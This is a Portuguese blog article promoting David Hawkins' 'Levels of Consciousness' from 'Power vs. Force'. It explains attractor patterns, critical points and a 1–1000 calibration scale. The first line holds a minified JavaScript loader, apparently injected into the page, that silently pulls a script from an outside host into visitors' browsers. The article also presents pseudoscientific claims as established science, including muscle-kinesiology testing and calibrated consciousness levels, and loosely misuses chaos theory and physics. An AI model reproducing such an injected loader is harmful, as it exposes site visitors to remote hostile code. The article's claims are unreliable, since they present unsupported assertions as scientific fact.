;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); 7 Consceitos e Padrões nos Níveis de Consciência | David Hawkins Brasil
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Níveis de Consciência

7 conceitos chave aplicados no estudo dos Níveis de Consciência

No último artigo onde tratamos dos alicerces do desenvolvimento do estudo dos níveis da consciência, realizado pelo Dr. David Hawkins e descrito no livro “Poder vs Força”, vimos que a dinâmica não linear, foi fundamental para a condução da pesquisa. Agora vamos falar de padrões atratores, além de outros conceitos.

Essas são algumas definições um pouco mais complexas, mas importantes para o entendimento e para acompanharmos a proposta que Dr. David R. Hawkins traz em Poder vs. Força.

A ideia deste artigo é dar base científica e lógica para o estudo, que foi feita com maestria por Dr. Hawkins, e ao final te fazer entender como os Níveis de Consciência farão você ter uma vida cada vez mais feliz e abundante!

Vamos então aos 7 conceitos e padrões aplicados nos estudos dos Níveis de Consciência:

1. Dinâmica Não Linear e Padrões Atratores – um padrão identificável

Vamos começar! Vai parecer profundo, mas fará sentido no final.

Quando num estudo surge um padrão identificável em um bloco de dados, que aparentemente não tem um significado, esse padrão parece esconder uma coerência naquilo que parece incoerente.

Tal coerência pode ser demonstrada inicialmente num estudo de computação gráfica feito por Edward Lorenz sobre padrões climáticos em longos períodos.

Tá, mas o que significa isso na prática?

Lembra do “efeito borboleta”? Você provavelmente já ouviu falar ou assistiu ao filme do mesmo nome. A teoria por trás disso é a de que tudo está conectado e que o mínimo movimento exercido num ponto se resulta em movimentos maiores, independente de onde esteja.

Alguns desses padrões se mostram como muito poderosos e outros como mais fracos e o que parece diferenciá-los é o que resulta das chamadas “energia alta ou baixa” da matemática da ligação química.

2. Campos de Dominância – o Domínio da Alta Energia

Chama-se de campo de dominância a apresentação dada por padrões de alta energia e suas influências sobre outros mais fracos.

O universo dos fenômenos se expressa através da interação de padrões atratores sem fim e de forças variáveis.

O que podemos dizer é que os infinitos enredamentos presentes na vida apenas refletem as reverberações intermináveis dos aumentativos e diminutivos desses campos que se compõem de seus harmônicos e de suas outras interações.

Se estiver parecendo muito complexo, fique calmo(a)! Não tente captar tudo com a mente. Continue lendo!

3. O Ponto Crítico – menor força x maior efeito

Dentro do conceito newtoniano todos os dados “não deterministas” são desconsiderados porque estão fora do conceito tradicional de causalidade.

Segundo esse paradigma, o universo está baseado em 3 dimensões de espaço e manifesta processos lineares no tempo, como um relógio gigante.

Nas palavras do Dr. Hawkins, observa-se no funcionamento de um relógio “algumas engrenagens se movem em ritmo lento e pesado, enquanto outras se movem rapidamente, e pêndulos minúsculos se aproximam quando mecanismos de fuga balançam para frente e para trás. Colocar pressão em uma engrenagem grande em movimento teria pouco efeito em todo o mecanismo. Entretanto, em algum lugar há um, mecanismo de equilíbrio delicado a ponto de que o toque mais leve consegue parar todo o dispositivo.”

É isso que se chama de “ponto crítico”: um ponto exato onde a menor força é capaz de exercer o maior efeito.

No entanto, com o surgimento das teorias de Einstein, Heisenberg, Bell e Bohr, o universo se expandiu por meio da demonstração de que tudo é interdependente, tudo interage com todos.  

4. Causalidade

Ponderado o mundo observável, a causalidade fala sobre uma sequência de acontecimentos.

Pense em um jogo de bilhar, onde uma bola bate na outra, que bate na outra e há uma sequência de movimentos onde a primeira bola A causou o movimento da bola B e B causou o movimento da bola C. A isso se dá o nome de sequência linear determinista.

Quando esse mesmo movimento é observado através da dinâmica não linear, nota-se que a causalidade opera de maneira completamente diferente em que ABC se divide em “operantes” e isso se expressa como a sequência aparente de percepção: A, depois B e então C.

O uso analítico da dinâmica não linear considera não só o observável como também o não-observável, como um arco-íris que se configura como uma ponte entre os reinos deterministas e os não deterministas.

A pergunta que um estudo não-determinista se faz é: O que engloba tanto o possível quanto o impossível, o conhecido quanto o desconhecido? Ou seja, quais são todas as possibilidades?

O físico David Bohm cita o “dobrado”- implicações invisíveis quanto o “desdobrado”, manifestações explícitas, algo que já era observado desde o tempo dos sábios iluminados, cujo estado de consciência já vislumbrava essa não linearidade.

5. Padrões Atratores e os estudos das funções do cérebro através dos supercomputadores

O uso dos computadores de inteligência artificial (AI) permitiu a aplicação de teorias da dinâmica não linear nos estudos do cérebro. Essa pesquisa concluiu que as redes neurais do cérebro agem como um sistema de padrões atratores, não se comportando de maneira aleatória.

Os neurônios da consciência revelam os chamados “sistemas de satisfação de restrições” onde uma rede interconectada de unidades de neurônios opera dentro de uma série de limitantes e assim estabelece padrões atratores que correlacionam o comportamento humano à sua fisiologia, demonstrando uma conexão entre o corpo e a mente.

Isso está em linha com os resultados do teste de cinesiologia muscular.

6. A evolução da consciência e o desenvolvimento da sociedade humana

Dr. Hawkins descreveu seu estudo também em termos matemáticos da dinâmica não linear.

Os níveis de consciência foram calibrados de 1 até 1.000 e representam logaritmos na base de 10 e estão relacionados ao poder desses respectivos campos.

  • A graduação de 1 a 600 representa o domínio da grande maioria da experiência humana
  • Os níveis graduados de 600 a 1.000, são o reino da evolução não ordinária, da iluminação, dos sábios e dos estados espirituais mais elevados.

Dentro desse espectro, o estudo vai identificando os poderes progressivos de campos atratores, com algumas variações locais, mas com uma consistência em sua totalidade.

O ponto crítico no estudo dos níveis da consciência parece estar na calibragem de 200 e, abaixo disso

  • Abaixo disso estão os atratores “fracos” ou  “negativos”.
  • Acima de 200 estão os atratores “fortes ou positivos”.

Há que se considerar que a lei da dependência sensível nas condições iniciais, ou seja, ‘o efeito borboleta’ da teoria do caos, é relevante no entendimento da evolução da consciência humana.

Segundo essa lei uma pequena variação ao longo do curso de tempo pode ter o efeito de produzir uma mudança profunda, assim como um navio que apresenta um desvio de um grau de seu compasso pode eventualmente se encontrar a centenas de quilômetros fora do curso.

7. Padrões Atratores poderosos organizam o comportamento humano

A busca pela compreensão da imprevisibilidade do comportamento humano é objeto de estudo desde tempos imemoriais. Compreender o incompreensível fez com que fossem criados infinitos sistemas.

O processo da vida não é lógico e racional, linear, mas é orgânico, não linear e, quando isso não é considerado, traz inevitavelmente uma frustração intelectual.

Nos estudos dos níveis da consciência as respostas não derivaram das crenças ou do conteúdo intelectual humano, mas sim de determinantes importantes como os padrões de campos de energia, aspectos da própria consciência.

Os resultados do estudo indicam que padrões profundamente poderosos organizam o comportamento humano.

Conclusão

Existe um campo atrator poderoso que organiza todo o comportamento humano e é inato à humanidade. Dentro desse mesmo campo, existem outros campos de menor energia e poder que dominam o comportamento e são consistentes através das culturas e do tempo ao longo da história da humanidade.

São as interações dessas variações dentro desses campos atratores que compõem a história da civilização. Falamos em humanidade, mas também existem estudos indicando que esses campos também estão presentes nos reinos animal e vegetal.

O estudo dos níveis de consciência mantêm uma correlação com:

  • As hipóteses dos campos morfogenéticos, estudados por Rubert Shaldrake, biólogo inglês.
  • Com os modelos holográficos das funções do cérebro-mente de Karl Pribram.
  • Com as conclusões de Sir John Eccles de que o cérebro funciona como um aparelho receptor de padrões de energia, existentes na mente que se expressam através do pensamento.

Assunto denso, não é?

Sim! Mas, com certeza, a leitura do livro “Poder vs Força” terá uma visão magnífica da importância dos estudos do Dr. David Hawkins para a compreensão do desenvolvimento da consciência humana e dos aspectos não-deterministas que estão presentes em nossa existência.

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